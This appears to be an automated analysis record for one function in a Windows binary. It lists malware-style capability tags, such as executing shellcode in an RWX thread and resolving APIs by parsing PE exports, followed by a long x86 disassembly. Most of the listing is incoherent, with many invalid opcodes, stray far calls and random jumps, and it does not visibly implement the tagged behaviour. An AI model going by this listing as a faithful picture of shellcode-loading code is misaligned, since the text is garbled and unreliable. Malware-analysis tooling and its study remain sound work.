Function at 0x401a0f
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jbe 0x401065
jbe 0x401054
nop
sub eax, 0x2de10976
lahf
cmp ah, byte [eax - 0x5fe589d1]
ja fcn.00401017
jbe 0x40104f
mov ebp, esp
in al, dx
ja 0x4010b8
nop
nop
lea eax, [ebp - 0x10]
mov edi, edi
lodsd eax, dword [esi]
nop
nop
add al, 0
nop
pop ebp
add eax, 0xf08b761a
sbb bl, byte [edx + 0x77]
jmp 0x401816
add byte [ebx], cl
leave
add ch, byte [edx + 0x18]
rol dword [ebx + 0x3b5900d2], 0xd1
pop ecx
cmp edx, ecx
add eax, 0xf907757
push ecx
sbb dh, byte [esi - 0x70]
ja 0x4010a6
mov edi, edi
add byte [eax], al
push ebp
nop
or dword [edx], ebx
or byte [edi], 0x85
ja 0x40108c
test dword [edi - 0x1b], esi
in eax, 0x8b
dec ebp
or byte [ebx - 0x3c1d7c01], cl
mov ecx, dword [ebp + 8]
mov edi, edi
and edx, 0xffffffc3
stc
nop
dec eax
add al, ch
push ecx
push 0x10
lea eax, [ebp - 0x94]
nop
aad 0x59
or al, 0x89
test dword [edi + edi*8 - 1], ebp
call dword [eax - 0x76f3a62b]
jbe 0x4010fe
or dword [edx], ebx
sub dword [edi], ebp
add eax, dword [eax]
pop ecx
pop edx
add byte [eax], al
or dword [edx], ebx
nop
or al, 0x89
add byte [esi], bl
jbe 0x401069
dec edi
nop
dec esi
jbe 0x4010d2
jbe 0x401144
shr byte es:[0x41b53b], 0x76
pop edi
jbe 0x401082
and eax, 0x761a0dc0
clc
nop
ja 0x4010a4
je 0x401111
add ch, byte [esi]
bound esi, qword [edi - 0x5c]
mov edi, edi
jmp 0x401104
add eax, 0x2458eb9b
imul ecx, dword [ecx - 0x9dbba], 0x25
adc al, 0xb
sbb dh, byte [esi - 0x69]
mov dword [esi + 0x24], eax
idiv bh
and eax, 0x761a0b14
xchg edi, eax
fld xword [esi]
push eax
clc
push edi
invalid
jbe 0x40112c
mov edx, dword [esp + 8]
mov ecx, 0x6f776097
jbe 0x401178
inc eax
ret 4
jbe 0x40111f
sbb dh, byte [esi - 0x70]
sbb dh, byte [esi - 0x7d]
jne 0x401ee9
loop 0x40116b
mov eax, dword [edi + 0x20]
dec esp
jbe 0x401160
invalid
xchg byte [0xff8b2bb6], ch
inc ebp
or al, bh
invalid
add byte [ebx + 0x3e181c8], cl
and bh, bh
test byte [ebx - 0x74fffd25], dh
and al, 4
inc ecx
mov eax, dword [0x18]
add byte [eax - 0x3db07bf1], al
mov eax, dword [eax + 0x30]
cmp dword [ebp + 0x10], esi
pop ecx
add byte [eax], al
mov ah, 4
add eax, dword [eax]
add byte [eax - 0x49], bh
ret 0
pop ebp
add byte [eax], al
xor dword [edi], ebp
push esi
pop edi
sbb dh, byte [esi + 0x57]
push edi
nop
add byte [eax], al
mov byte [esi], ch
add al, ch
jbe 0x401316
add dword [ecx + 0x498bdc45], ecx
jbe 0x4013bf
js 0x401393
add edx, dword [eax + 0x4ee8765e]
nop
pop esi
jbe 0x40137c
call 0xc14683e6
cmpsb byte [esi], byte es:[edi]
sub eax, 0x2da63e76
dec esi
jo 0x40139d
shl dword [esi - 0x59c189d3], 0x2d
sub eax, 0x9005e6b2
mov dl, 0xe6
add eax, 0x90909090
out 5, al
nop
nop
nop
nop
jbe 0x40138f
nop
test byte [edi], 0xe2
mov edx, dword [eax - 0x6ffff33e]
jbe 0x4013da
sub eax, 0x2fa0b876
add bl, al
mov edi, dword [ebp + 0x10]
jne 0x407e94
test eax, edx
push 0
add dh, dh
inc eax
and al, 2
test byte [eax + 0x24], 2
push eax
nop
lodsb al, byte [esi]
pushfd
jbe 0x40143a
fnstcw word [edx]
adc byte [0x42458e], dl
lea eax, [ebp - 0x14]
sub eax, 0x2de10976
jbe 0x4013e5
loope 0x40140b
nop
ja 0x40141d
nop
add byte [0x40c15f], bh
cmp esi, eax
dec ebp
mov al, byte [0x90761a0d]
mov al, byte [0xa01a762f]
cmp esi, ebp
stosb byte es:[edi], al
pop es
ja 0x401460
rol dword [eax], 0x3b
invalid
nop
sub ch, bh
push 1
shl dword [ecx], 0x2e
add byte [ebx - 0x10a31710], cl
nop
jne 0x401439
sub eax, 0x55907690
nop
jbe 0x40139f
push ebp
push edi
nop
push ecx
mov ebp, esp
nop
adc eax, 0x761a05ec
or dword [edx], ebx
pop esp
fdivr dword [edi + 0x27]
sub eax, 0x2e2edb76
sbb al, 0
jmp fcn.00401428
in eax, dx
nop
nop
nop
inc ebp
add byte [ebx + 0xc61c45], cl
mov eax, dword [0x891d775c]
nop
cmp al, 3
inc ebp
lea edi, [ebp - 0x20]
ja 0x4014b7
push ebp
ret 0x18
mov eax, dword [ebp + 8]
jne 0x401471
add byte [eax], al
nop
add byte [eax], al
pop eax
sbb dh, byte [esi - 0x18]
xor esi, esi
lock add dword [eax], eax
div al
add dword [eax], eax
nop
jbe 0x40144d
nop
lea edx, [edi + edi*8 - 1]
mov ecx, 0
pop ebp
nop
inc esi
add bh, bh
jbe 0x40146f
retf 0x7758
retf
pop edx
push esi
xchg ecx, eax
push ecx
nop
ret 4
nop
mov edi, edi
push edi
stc
leave
push cs
push 0x5ffffff
pop esi
mov eax, dword [ecx + 4]
inc dword [0x4418b5e]
mov ebp, esp
jbe 0x40191e
ja 0x401932
add byte [0x423543], bh
push edi
add dword [esi], eax
mov ebp, esp
sub eax, 0x2df26976
and al, 0x57
pushal
imul esi, edx, 0x6057242d
int 0xf4
push 0xc
and al, 0x8b
sub dh, byte [esi - 0x36a1fffd]
or al, 0
ja 0x40192d
adc al, 7
jmp 0x401971
test byte [0x42bd19], dh
test ebx, ebx
lodsb al, byte [esi]
sar byte [eax + 3], 0xc2
nop
mov esi, 0x8b000340
nop
add byte [eax], al
or byte [ebp - 0xdc4db90], cl
jbe 0x4019f6
sti
and al, 0x1e
or byte [ebx - 0x75], dl
jbe 0x4019b0
div ecx
nop
nop
and dword [eax], eax
into
ja 0x401939
cwde
sbb al, 0xff
nop
dec eax
add byte [edi], cl
call 0x4019b5
mov dword [esi], ebx
or al, 0x89
jbe 0x4019b2
je 0x4019b9
inc eax
dec ebp
dec ecx
mov ecx, dword [eax]
jbe 0x401a09
cmp eax, 0xfffffff5
cmc
nop
add esi, dword [ebp + edx*2 - 0x18]
jbe 0x4019a0
push es
dec ebp
pop eax
mov esi, eax
ja 0x401952
and al, 8
dec ebp
add byte [eax - 0x6f6f6f70], dl
push 0x5ffffff
and bh, bh
add dword [ecx + edx - 0x73], esi
pop eax
sub dword [ecx + ebx*2], esi
jbe 0x401a18
hlt
sub dword [eax + 0x1870f177], edx
nop
push edi
mov bh, 0x31
sub al, 9
loop 0x40198f
nop
add al, byte [eax]
pop esp
nop
nop
jbe 0x401a88
jne 0x401a1a
dec esp
add byte [eax], al
nop
je 0x401410
nop
add eax, 0x90909090
nop
nop
nop
nop
sar esi, 0x66
fst qword [edi + 0x77]
jbe 0x401a48
add al, 0x8b
push edi
nop
jbe 0x4019bd
jecxz 0x401a7f
mov byte [eax - 0x5d3c89d1], ah
jmp 0x401a3c
das
nop
jg 0x401a43
pop ecx
push esp
nop
and eax, 0x10000003
xchg dword [eax + 0x66000000], ecx
mov dword [ebp - 4], 1
add byte [eax], al
mov word [ebp - 4], 1
add byte [eax], al
pop ss
and al, 0x80
jp 0x401a87
jbe 0x401a65
or byte [eax], al
mov ebp, esp
add byte [eax], al
jbe 0x401a0a
inc eax
add al, 0xe6
xchg al, ch
nop
imul ebp, dword [edx], 0x33c17630
push esi
ja 0x401a67
invalid
cli
push edi
jbe 0x401a7e
mov cx, word [esi + 0x32]
mov ecx, dword [esi + 0x32]
nop
ror byte [edi], 0x85
mov dword [0x16f0775c], eax
pop esp
ja 0x401a7a
push ss
sbb ch, 0x57
add al, 0x89
mov eax, esi
sub edx, edi
or byte [edi], 0x84
add byte [eax], al
ja 0x401b13
push esi
mov byte [0xa296762f], al
or al, ch
jbe 0x401ae7
test byte [ecx + edx*2 + 0x503d0002], al
sub eax, 0x2da66676
nop
add al, 0x1a
add eax, ecx
fst qword [edi]
jbe 0x401a4b
nop
ja 0x401b03
nop
inc edi
pop ecx
mov eax, dword [ecx]
test dword [ebx], 0x74c13b00
ror byte [eax - 0x3e], 0xc
jne 0x401ad1
add byte [eax], al
pop eax
push 0x76243fbb
pushal
add byte [ecx + 0x762603ac], ah
dec esp
jbe 0x401b2b
xchg dl, al
pop edi
or dword [edi], ebp
nop
add byte [eax], dl
invalid
jbe 0x401b62
jbe 0x401b52
sub esi, dword [eax]
idiv bh
ja 0x401adc
mov esp, 0x90761a0d
push ebx
or al, 0
sub eax, 0x2e83fc76
or dword [ecx], 0x18f762f
cmp ecx, 0x24
pop ebx
sbb dh, byte [esi - 0x7b]
pop ebx
pop eax
pushal
ror byte [edi], 0x8c
xchg dword [0x41dd04], ebp
dec esi
popfd
mov esi, 0xcf3b0001
add byte [eax], al
push eax
lea ebp, [0x2dc52a76]
sar byte [eax + 3], 0xc2
fldcw word [0x41df94]
fild word [ecx]
pop ebp
sbb dh, byte [esi - 0x70]
xchg esp, eax
mov dword [ebp - 0xc0], ecx
invalid
call 0x8bd111a3
in al, dx
mov eax, dword [ebp - 0x1c]
je 0x401d37
nop
jbe 0x401d83
nop
nop
ret 0x14
lea ecx, [edi + edi*8 - 1]
xchg dword [ecx + 0x77], ebx
test eax, eax
and eax, 0x761a0810
mov esi, eax
leave
add al, 0x2e
mov eax, 0x88762fa0
cmp bl, bh
sar esi, 1
cld
push es
nop
loopne 0x401d27
ja 0x401d7c
sbb byte [eax + 0x77], 0x47
aam 0xfd
nop
test byte [ecx + 0x7589dc75], 0x80
or ebx, dword [edx]
add byte [ebp - 0x3e], bl
jbe 0x401df6
sbb dh, byte [esi - 0x70]
add byte [eax], al
ja 0x401dc1
add byte [edi + 0x42], dh
mov word [edi], cx
inc ebp
popfd
sub eax, dword [eax + ebx*2 + 0x5a1b0577]
add al, byte [eax]
or al, 0
adc byte [ebx - 0x7bf0fc07], al
jbe 0x401d3f
and eax, 0x761a0874
call fcn.00402e69
fcom qword [eax - 1]
or al, 0x8d
nop
mov edx, dword [ecx - 0x61f888a8]
add eax, dword [ebx + 0x458b0021]
scasd eax, dword es:[edi]
add byte [eax], al
or byte [ebx - 0x1e3efd37], al
or dword [eax + ebx*2], esp
pop ebp
lea ecx, [ebp - 0x2c]
wait
pop ecx
mov ch, 1
test byte [edx + 0xb], bl
ja 0x401e49
iretd
ja 0x401e57
nop
xchg byte [eax], al
cmp edx, 3
add eax, dword [eax]
pop ecx
pop eax
lea eax, [ebp - 0x24]
dec eax
add byte [edx + ebx], cl
nop
jge 0x401e39
add byte [eax], al
add al, 0x89
inc esp
mov edi, edi
inc ebp
sbb dh, byte [esi - 0x70]
shr byte [0x42247a], cl
inc ebp
dec edx
push 0xfffffff
pop ds
jbe 0x401e75
and eax, 0x761a08f0
nop
ja 0x401e97
jmp 0x401e1e
ret 0x850f
invalid
ret 0xb0c
clc
invalid
nop
nop
nop
nop
nop
jne 0x401e94
mov dword [ebp - 0x1c], eax
sub eax, 0x5f762fda
test byte [ecx + 2], dl
nop
nop
mov esp, 0x90761a0d
nop
nop
ja 0x401e75
add al, 0x89
leave
add al, 0x89
jbe 0x401e6b
salc
ja 0x401e97
mov al, byte [0xf47756f9]
cmp al, 0x24
and al, 9
xchg dword [eax], edx
add byte [eax], al
xor byte [esi + 0x4e], dh
and al, 0xee
retf 0
nop
nop
pop esp
add byte [eax], al
nop
ja 0x401e71
nop
pop esp
pop ecx
mov ch, 0x2d
dec esi
jne 0x401f00
lodsd eax, dword [esi]
and dword [ecx], 0
das
nop
nop
dec edi
mov eax, dword [ebp - 0x1c]
jo 0x401f6b
jbe 0x401e8c
and bl, 0x50
nop
add byte [ebx + 0x325c6], cl
xchg esi, eax
nop
nop
nop
jbe 0x401ee0
and eax, 0x761a0bd0
sub eax, 0x2d74d776
ja 0x401f4c
mov ebp, esp
or byte [ecx + 0x56], dl
nop
mov eax, 0xe87756f8
push edi
ja 0x401ed5
sal dword [ebx - 0x15], 1
nop
ja 0x401f83
xor eax, eax
add eax, 0x1816762f
sbb al, 0xff
nop
pop edi
push esp
test ecx, ecx
sbb al, 0x76
cmp esi, ebx
add dword [eax], eax
and eax, 0x761a0b30
add byte [eax], al
pop eax
sub eax, 0x2de47c76
xor byte [ebx], cl
sbb dh, byte [esi]
add byte [eax + 0x2d], bl
jbe 0x401fd2
in al, 0x2d
add byte [edx], ch
ror byte [edi], 0x8c
nop
pop esi
nop
mov ch, 0xb5
add byte [eax], dl
mov dword [0], eax
ja 0x401fb4
dec eax
jmp 0x401f43
inc edx
add ah, bh
nop
sub eax, 0x2de60476
add byte [ebx - 0x10a31710], cl
ret 0x10
call 0x11030ee4
add byte [ecx], ch
xor eax, 0x4214d4
cmp eax, 0x76260001
push ebp
add dword [0xfffffb1e], ebp
popal
nop
pushal
push esi
nop
push ds
nop
cwde
nop
nop
mov byte [ecx], cl
jbe 0x401f77
or dword [esi], ebp
jbe 0x401f77
cmp ebx, esi
jbe 0x401f7a
mov eax, dword [ebp - 0xb4]
mov ch, 0x68
lea ebp, [eax - 1]
stc
push 0xf9ff688d
jne 0x401fc7
and al, 0xee
sub eax, 0x2de32676
push edi
nop
sub eax, 0x2da33076
xor byte [edi + 0x762d], dh
push eax
and eax, 0x761a056c
jne 0x401ffc
inc edi
mov edx, cs
cmc
ror dword [edi], cl
sub eax, 0x76
sub eax, 0x2ddc9c76
sub eax, 0x762fa03a
sbb ah, byte [eax + 0x2d68b85]
add bh, bh
cmp ah, byte [eax - 0x5fe589d1]
test dword [ebx - 0xfffd2a], ecx
mov edx, esi
add al, byte [eax]
call [edx - 0x37]
pop edx
leave
jbe 0x401ffb
nop
nop
cmp dx, bx
push ebx
pop eax
jbe 0x401fa5
fstp qword [0x422cf4]
add byte [esi], ch
add byte [eax], al
ja 0x402003
ret 0x14
nop
nop
nop
lahf
nop
hlt
add byte [eax], al
idiv byte [ecx]
mov byte [0x9fdb762f], al
test dword [0x417894], edi
add byte [eax], al
je fcn.004051ce
jecxz 0x402218
add byte [eax], al
push 0x761a2418
push ecx
or ecx, ecx
or al, 0x73
add eax, 0x89dc4d8b
push esi
pop ebp
xor byte [esi + 0x69], dh
jbe 0x402260
stc
jbe 0x40219e
das
add byte [eax], al
mov bh, 0x2e
add dword [eax], eax
pop edx
dec eax
push ebp
inc ebp
lcall 0x4589, 0x18b0000
nop
mov eax, dword [ecx]
mov dword [ebp - 0x70], eax
ja 0x402212
stc
push esi
sub eax, 0x2e48f976
cli
dec eax
add eax, dword [eax]
cmp dx, 0x43
add eax, edx
mov eax, 0xf5787758
pop ecx
rcr bl, 1
or ebx, dword [edx]
neg dword [edx + 0x16a0000]
jbe 0x40221f
add byte [eax - 0x3d8f7bf1], al
ja 0x402280
or byte [ebx - 0x75], dl
push ebp
fnstcw word [ecx + 0x35f5762e]
ja 0x4021e7
mov dword [ebp - 4], eax
pop ecx
bound edi, qword [ebp - 0x3eb189d3]
jbe 0x4021eb
das
add eax, ecx
nop
nop
dec esp
cmp edx, ecx
test byte [esi + 0x490000a0], ah
sub eax, 0x2ddb8e76
jbe 0x4022ef
nop
nop
add dword [eax], eax
and byte [eax], al
nop
mov cx, word [esi + 0x30]
inc esi
lea ebx, [edi + esi*2 + 0x7e]
jge 0x40222e
jle 0x4022ff
stosd dword es:[edi], eax
add esp, 0xc
inc eax
add eax, 0xf08b761a
rol byte [0x414f2e], 1
rol byte [ebx + 0xf001c7d], 0x85
ret 0x350
mov eax, dword [ebp + 8]
add dword [esi], ebp
sbb dh, byte [esi + 0x5f]
mov edi, edi
pop eax
sbb dword [edi + 0x77], edx
add byte [ebp + 0x64042454], cl
jbe 0x40230f
invalid
jmp 0x402317
cmp ecx, 3
jae 0x402327
add eax, ecx
ror byte [eax - 0x3e], 0xc
loopne 0x40237b
push esp
int3
add edi, esp
nop
dec edx
and al, 0x10
rcr bl, 1
push 0x761a2418
invalid
test byte [edx - 0x6fa8a78c], ch
add bl, al
nop
nop
add al, ch
push ebp
ja 0x402367
jle 0x402391
mov eax, dword [0x18]
jbe 0x4023b0
nop
nop
or bl, byte [edx]
sub byte [esi], ch
nop
sbb dh, byte [esi - 0x70]
je 0x401373
je 0x401373
movsd dword es:[edi], dword [esi]
or dword [esi], ebp
mov ecx, dword [esp + 4]
and al, 4
popfd
push esi
and byte [ebx + 0x57], dl
ja 0x4023fb
nop
jne 0x4023a2
adc byte [edi + 0x39], dh
ja 0x4023cd
and eax, 0x761a0b80
nop
jbe 0x40232a
mov eax, dword [ebp - 0xa8]
clc
cmp byte [edi], ch
das
add al, 0x1a
push edi
adc byte [0x40ccc0], dl
jmp 0x4023ec
add byte [eax], cl
add bl, byte [0x3b762dc7]
nop
xor eax, eax
rcr byte [edx + eax*8 + 4], 0
nop
das
ja 0x402386
add byte [eax + 0x58c3772f], dl
pop eax
nop
nop
jbe 0x402358
fmul dword [ebx + 0x45890446]
inc ebp
jne 0x402f3e
sbb dh, byte [esi + 6]
mov bh, 4
nop
add byte [eax], al
ja 0x402398
ret
cld
adc dword [esi], ebp
nop
and eax, 0x761a0da0
add byte [eax], al
push esi
ja 0x402435
sbb dh, byte [esi - 0x70]
jbe 0x40238d
push ebp
cld
jbe 0x40241a
inc ebx
sub ebx, dword [ecx + 0x77]
ret 0
cli
add eax, ecx
push edi
add bh, dh
adc dh, byte [eax]
mov dword [esi + 0x28], eax
nop
and bl, byte [edx + 0x77]
nop
xor byte [ecx + 0x22902846], cl
pop edx
ja 0x4023ba
cld
nop
jbe 0x4023be
inc esp
mov edi, edi
pushal
pop ecx
jbe 0x40241e
push ebp
adc al, 0x89
mov ecx, dword [esp + 4]
nop
add byte [ebp - 0x3e], bl
cmp eax, 0x2b762ec0
add byte [eax + 0x4244c8b], dl
sub eax, 0x2d7e3476
test ebx, eax
mov dword gs:[0x2260775c], eax
je 0x402692
cli
jne 0x40243d
ja 0x4024a2
nop
or ebx, dword [edx]
fdivr dword [edi + 0x27]
jo 0x402483
jbe 0x4023f8
hlt
ja 0x4024c0
aas
or byte [ebx], dh
pushal
sbb al, 0x18
xchg ecx, eax
neg eax
add byte [eax], al
invalid
add byte [eax], al
jbe 0x4024d6
add byte [ebp - 0xb77b], cl
xchg esi, eax
sbb dh, byte [esi - 0x70]
mov eax, esi
jbe 0x402421
jne 0x4024a0
nop
add byte [eax + 0x1290840f], al
nop
add byte [eax], al
nop
and bl, dl
and eax, 0x761a0940
nop
sbb bh, bh
xchg ecx, eax
or byte [edi], 0x84
nop
adc al, 7
arpl sp, si
jge 0x4024e7
pop esp
test dword [0x4273a9], edi
cmp byte [eax], cl
nop
xor byte [esi - 0x3c], dh
ror byte [eax - 0x3e], 0xc
mov dh, 0xc0
or byte [eax - 0x3f3b89d0], dl
dec eax
ret 0xb60c
shl dword [ecx], 0x2e
nop
sub eax, 0x2dfaac76
jbe 0x40247e
cli
sub eax, 0x3610c
or al, 0x61
add eax, dword [eax]
sbb dh, byte [esi - 0x70]
mov ebp, esp
cmp al, 0x17
je 0x4024c7
nop
jbe 0x402473
jbe 0x402535
push edi
add byte [eax], al
das
adc eax, 0xc37757e5
add byte [ebp - 0xb77b], cl
pop ebp
jbe 0x4024aa
mov dl, 0x2d
jbe 0x4024c0
sub eax, 0x2e9ec576
jbe 0x402558
sahf
jbe 0x402558
cmp ecx, 0xffffffff
jbe 0x402540
mov edi, edi
ja 0x402549
test bl, bl
sub dword [edi], ebp
jbe 0x4024d0
ja 0x4024c6
and edx, 0x10000003
or dword [edx], ebx
cmp dword [edi + 4], ebx
and eax, 0x761a09d0
invalid
pop edi
add al, 0x25
ror byte [ecx], 1
sbb dh, byte [esi - 0x71]
std
jae 0x402526
ret 0x5958
pop eax
pop ecx
clc
lea eax, [ebp - 0x10]
add eax, dword [eax]
ja 0x4024f7
ja 0x4024d4
ja 0x402580
wait
inc eax
jmp 0x402584
dec esp
add bh, bh
jmp 0x4024f6
ror byte [ebp + 0x3d987758], 0x62
sbb dh, byte [esi - 0x7b]
cwde
cmp eax, 0x85761a62
jbe 0x4024cb
add al, byte [eax]
adc byte [eax], al
push ebp
add byte [ebp - 0x30], dl
push ecx
lea edx, [eax + 0x318]
rcl byte [ecx - 0x73]
nop
sbb byte [ebx], al
add byte [eax], al
add byte [eax], al
mov ebp, esp
invalid
lea eax, [ebp - 0x20]
add byte [ebp - 0x17aff7bb], cl
jbe 0x4025c7
push ebp
add byte [eax], al
movsd dword es:[edi], dword [esi]
pop ecx
nop
nop
ja 0x402598
sub al, 0x85
rcl byte [eax + 0x9277], 0x77
xchg byte [ecx], al
ucomiss xmm6, dword [esi - 0x43]
test eax, eax
nop
ja 0x402503
add byte [eax], al
ja 0x4024fb
add dword [edi], ecx
jbe 0x402537
add ecx, dword [edi]
leave
enter 0x56fb, 0x77
sbb dword [edi + 0x77], edx
ja 0x40259b
push edi
ja 0x4025fb
jbe 0x4025c1
cmp esi, dword [esi - 0x4c]
jbe 0x40253c
jbe 0x40251a
nop
invalid
pop edi
jl 0x4025dc
add byte [0x761a0b7c], ah
test dword [edi + edi*8], edi
add bh, dh
dec esi
ja 0x40256b
and eax, 0x761a0b28
test dword [edi], 0x8432762e
pop ebp
add dword [ecx - 0x6f89e5a8], edx
jbe 0x40254b
push ecx
ja 0x402544
pop ecx
push edi
xor dword [esi + 0x3b], esp
jbe 0x402621
cmp si, word [esi + 0x5c]
pop ebp
ret 0x28
sub byte [eax], al
leave
inc eax
push ecx
push ebp
nop
mov word [esi + 0x32], ax
jbe 0x402611
or byte [ecx], bh
dec eax
push ds
xor al, 0xb
push es
mov eax, dword [edi + 0x88]
nop
xchg dword [eax - 0x70000000], ecx
add al, 0x43
sub eax, 0x2db7fb76
jbe 0x402638
sub eax, 0x2da66676
jbe 0x402654
cmpsb byte [esi], byte es:[edi]
sub eax, 0x2e23765d
mov ch, 1
pop ebp
jbe 0x402616
mov ch, 1
pop edx
aas
jbe 0x40261d
add eax, 0x90909090
nop
nop
nop
nop
mov al, 0xa2
add byte [eax], al
nop
dec esi
add byte [eax], al
jbe 0x40267a
jge 0x4025ef
ja 0x40262f
nop
xchg ebp, eax
test dword [ecx + 3], edi
loope 0x402616
mov edi, dword [ebp + 0xc]
mov eax, edi
add eax, dword [eax]
mov dword [eax], edi
xchg esp, eax
add byte [ebx - 0x1fba76fa], cl
enter 0xffffffffffffe181, 3
jbe 0x4025b9
inc ebp
loopne 0x4025ec
and ecx, 0x9e907603
sahf
adc al, 0x56
nop
nop
add eax, 0x90900000
add byte [eax], al
nop
nop
add byte [eax + 0x26762d90], dl
sub eax, 0x2e9d2676
jbe 0x40265c
popfd
fild word cs:[eax + eax]
fild word [eax + eax]
jbe 0x4025f0
add eax, ecx
sbb dh, byte [esi - 0x70]
nop
jbe 0x402646
nop
and al, 0xc
jge 0x40262f
ljmp 0x8b0e:0x8b00033b
jbe 0x402634
fcom dword [ecx - 0x73]
and eax, 0x761a0758
push ebx
sbb dh, byte [esi + 0x53]
pop ebp
push eax
jbe 0x402630
fmul qword [ecx - 0x2b8a74f8]
and eax, 0x761a0a78
add byte [eax], al
mov eax, dword [ebp - 4]
mov edi, edi
pop edi
sbb dh, byte [esi - 0x70]
je 0x407265
test dh, ah
dec ebx
add byte [eax], al
cld
add dword [ecx - 0x387cf7ba], ecx
push es
pop es
ret
add al, 0x8b
cld
enter 0x2d83, 0x76
add byte [eax], al
add cl, byte [ecx + 0x5fc03308]
nop
lea ebp, [esp + 0x10]
jmp 0x402695
add cl, byte [edi]
stosb byte es:[edi], al
pop esp
ja 0x402733
nop
pop ebx
ja 0x4027d6
xchg edi, eax
sub eax, 0x4d775ad8
xor byte [ebx], cl
jbe 0x40276d
xchg esi, eax
mov bh, 0xc3
sub eax, 0x2ddfc876
movsb byte es:[edi], byte [esi]
nop
xor byte [ebx + 0x56531cec], al
je 0x4027ea
add al, 0x8b
nop
mov dword [ebp - 0xc4], eax
std
rcr dword [edi + 0x77], 0x3c
xor esi, esi
pop ebx
add byte [ebx - 0x9b63], cl
add eax, 0x90909090
jne 0x40281a
invalid
sbb dh, byte [esi + 0xf]
nop
jbe 0x40299c
ja 0x4029a8
jbe 0x4028d6
pop eax
ret 0x18
ja 0x402935
in al, 0x5b
pop ebx
inc ebp
je 0x408895
pop edi
add byte [eax], al
jbe 0x402950
bound esi, qword [edi + 0x3e]
les edx, [eax - 1]
les edx, ds:[eax - 1]
jne 0x40297c
pop es
and al, 0xb
inc esp
jbe 0x40298c
mov bh, 0x2d
ret 8
nop
add eax, 0x90909090
add eax, 0x90909090
push edi
inc byte [eax]
test byte [eax + 0x24], 2
and al, 2
sub eax, 0x2d751a76
ja 0x4029f9
ret 0xc
or byte [edx], bl
jbe 0x402956
nop
loope 0x4029d0
rcr byte [edx - 0x657089d2], cl
nop
inc esi
push ebp
add byte [eax], al
rol byte [eax], 0
lcall 0xc000, 0x554690
add byte [eax], al
cli
or al, bl
pop edx
ror byte [ecx], 1
push ebp
xchg bh, bl
xor eax, 0x761a04b0
imul ecx, dword [edx], 0x2beb762e
jbe 0x40295e
or ch, byte [esi]
jbe 0x4029af
sub esi, dword [esi - 0x69]
lea eax, [ebx + 0xc]
pop eax
movsb byte es:[edi], byte [esi]
mov eax, dword [esi + 4]
jmp 0x40351f
dec ebx
or eax, dword [eax]
add byte [eax + 0x324136c5], dl
mov eax, dword [edi + 0x7600008c]
imul ebp, dword [esi], 0x1b47676
and eax, 0x761a0964
adc cl, byte [ebx - 0x72172e3f]
sbb dh, byte [esi - 0x70]
nop
invalid
add byte [0x90909090], al
jne 0x4027c9
jbe 0x402a7e
push ebp
ja 0x4029f2
clc
jbe 0x4029c0
nop
lds edx, [eax - 0x77]
and al, 0x1a
jbe 0x40299e
pop ss
pop esp
jmp 0x402a07
or dword [eax - 0x937a73], edx
invalid
pop ecx
movsd dword es:[edi], dword [esi]
sbb dh, byte [esi - 0x70]
lea eax, [ebp - 4]
sub eax, 0x2d751a76
add byte [ebp - 0x457af040], al
nop
push ebp
add dl, byte [eax - 1]
pop ebp
call fcn.00409c5c
jbe 0x402e1d
or bl, byte [eax + 0x77]
jge 0x402e59
loope 0x402e0b
pop esp
cmp eax, 0xfad07762
nop
nop
cli
nop
sbb dh, byte [esi - 0x70]
ja 0x402df1
stc
sbb dh, byte [esi - 1]
mov al, byte [0xf47756f9]
xadd dword [ecx], eax
bnd ja 0x409f1a
add edx, esi
ja 0x409f1a
pop ebp
and al, 0x10
jmp 0x402dcf
push edx
lea ecx, [ebp - 0x24]
ret
add byte [eax], al
cmp esi, 0xfffffff5
je 0x3af9d8
call dword [ebx]
mov bl, byte [edi + esi*2 - 0x6e]
sbb dl, byte [eax + 0xf02a800]
test dword [ebx], edi
nop
add al, byte [eax]
adc bh, bh
clc
nop
nop
mov edi, edi
add dword [eax], eax
mov edi, edi
or ebx, dword [ebx + 0x77]
add byte [eax - 0x6f6f6f70], dl
add byte [eax], al
jbe 0x402f22
ja 0x402f2a
nop
and dword [ebp + ebp + 0x76], ebp
test dword [eax - 1], ecx
je 0x401054
loop 0x402f2c
sbb dh, byte [esi - 0x70]
nop
nop
push edi
mov ebp, esp
mov al, 0
jle 0x402f62
xor byte [esi - 0x37], dh
xchg esp, eax
jbe 0x402efe
ja 0x402f9d
inc esp
or byte [ebx + 0x56], dl
adc edx, eax
sbb dh, byte [esi - 0x70]
ja 0x402ee4
add byte [eax], al
add byte [ebp - 0x3dfb07bb], cl
clc
add al, 0xc2
pop esi
mov dword [0x41d049], ebp
shl byte [ebx], 0x58
or edx, edx
nop
cmc
sub eax, 0x2dd11f76
nop
inc eax
div ecx
mov ch, 0x68
sub eax, 0x2e48f976
or edx, edx
nop
add byte [eax], al
sbb byte [ebx], al
add byte [ebx], bh
push edi
mov al, byte [0x9fbd762f]
mov byte [eax - 0x5d3c89d1], ah
or al, 0xf7
invalid
mov dword [esi + 0xc], eax
mov dword [esi], ebx
add al, 0
das
ja 0x403007
pop edx
mov bh, 0x68
jbe 0x402f3d
nop
pop ebp
sub dword [edi + ebp], esi
or al, 0
nop
mov esi, 0xc6f1762d
das
lea eax, [ebp - 0x10]
ja 0x402f5d
pushfd
or eax, 0xc0967759
mov bh, 0x2d
jecxz 0x402ff7
sal byte [edi - 0x3d21cd3], 0x54
cld
push esp
and dword [ebp - 0x30], 0
jbe 0x402fc5
mov dword [ebx], edi
or byte [edi], 0x84
add byte [eax], al
sti
add bl, bh
adc byte [esi], 0x5a
nop
add byte [esi], cl
jbe 0x403012
ja 0x403026
and eax, 0x761a056c
ja 0x40302f
lahf
nop
arpl word [ebp - 0x58f589d3], sp
fsubr qword [0x428f62]
pop dword [edx]
jbe 0x402fa6
loopne 0x403051
nop
nop
sub eax, 0x3025aa76
xor eax, 0x68b7762f
add byte [eax], al
and eax, 0x761a0da0
movsb byte es:[edi], byte [esi]
jbe 0x402fc0
push 0xa0250000
or eax, 0x8da4761a
insb byte es:[edi], dx
invalid
lea ebp, [edi + edi*8 - 1]
pop ebp
dec edi
jge 0x403000
jbe 0x403012
shr byte [0x42b279], cl
ja 0x402fd8
nop
nop
hlt
je 0x403036
mov eax, dword [edi + ecx]
invalid
ja 0x402ffa
jbe 0x402fca
or ebx, dword [edx]
ret 0x14
sbb al, dl
adc al, 0
add byte [eax], al
pop es
add byte [0x420533], bh
add byte [eax], al
add byte [ebx + 0x5b5f5ec6], cl
mov dword [eax], edx
jne 0x403e8c
